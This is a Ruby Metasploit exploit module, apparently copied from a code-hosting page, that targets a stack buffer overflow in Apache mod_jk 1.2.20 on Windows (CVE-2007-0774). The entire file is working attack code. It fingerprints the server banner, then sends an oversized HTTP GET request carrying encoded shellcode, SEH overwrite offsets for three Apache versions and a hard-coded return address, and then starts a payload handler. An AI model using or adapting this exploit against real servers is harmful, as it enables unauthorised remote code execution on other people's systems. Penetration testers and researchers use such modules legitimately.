99 lines
2.5 KiB
Ruby
99 lines
2.5 KiB
Ruby
require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache mod_jk 1.2.20 Buffer Overflow',
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'Description' => %q{
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This is a stack overflow exploit for mod_jk 1.2.20.
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Should work on any Win32 OS.
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},
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'Author' => 'Nicob <nicob[at]nicob.net>',
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'Version' => '$Revision$',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2007-0774' ],
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[ 'OSVDB', '33855' ],
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[ 'BID', '22791'],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-008.html'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 4000,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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'MaxNops' => 0,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# POP/POP/RET in mod_jk 1.2.20 (Apache 1.3.37, 2.0.58 and 2.2.3)
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['mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)', { 'Ret' => 0x6a6b8ef1 }],
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],
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'DefaultTarget' => 0))
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register_options( [ Opt::RPORT(80) ], self.class )
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end
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def check
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connect
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sock.put("GET / HTTP/1.0\r\n\r\n")
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resp = sock.get_once
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disconnect
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if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1.2.20/))) then
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print_status("Apache version detected : #{m[1]}")
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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connect
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uri_start = "GET /"
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uri_end = ".html HTTP/1.0\r\n\r\n"
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sc_base = 16
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shellcode = payload.encoded
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sploit = Rex::Text.rand_text_alphanumeric(5001, payload_badchars)
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sploit[sc_base, shellcode.length] = shellcode
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# 4343 : Apache/1.3.37 (Win32) mod_jk/1.2.20
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# 4407 : Apache/2.0.59 (Win32) mod_jk/1.2.20
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# 4423 : Apache/2.2.3 (Win32) mod_jk/1.2.20
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[ 4343, 4407, 4423 ].each { |seh_offset|
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sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
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sploit[seh_offset - 4, 2] = "\xeb\xf9"
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sploit[seh_offset , 4] = [ target.ret ].pack('V')
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}
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print_status("Trying target #{target.name}...")
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sock.put(uri_start + sploit + uri_end)
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resp = sock.get_once
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if (resp and (m = resp.match(/<title>(.*)<\/title>/i)))
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print_status("The exploit failed : HTTP Status Code '#{m[1]}' received :-(")
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end
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handler
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disconnect
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end
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end
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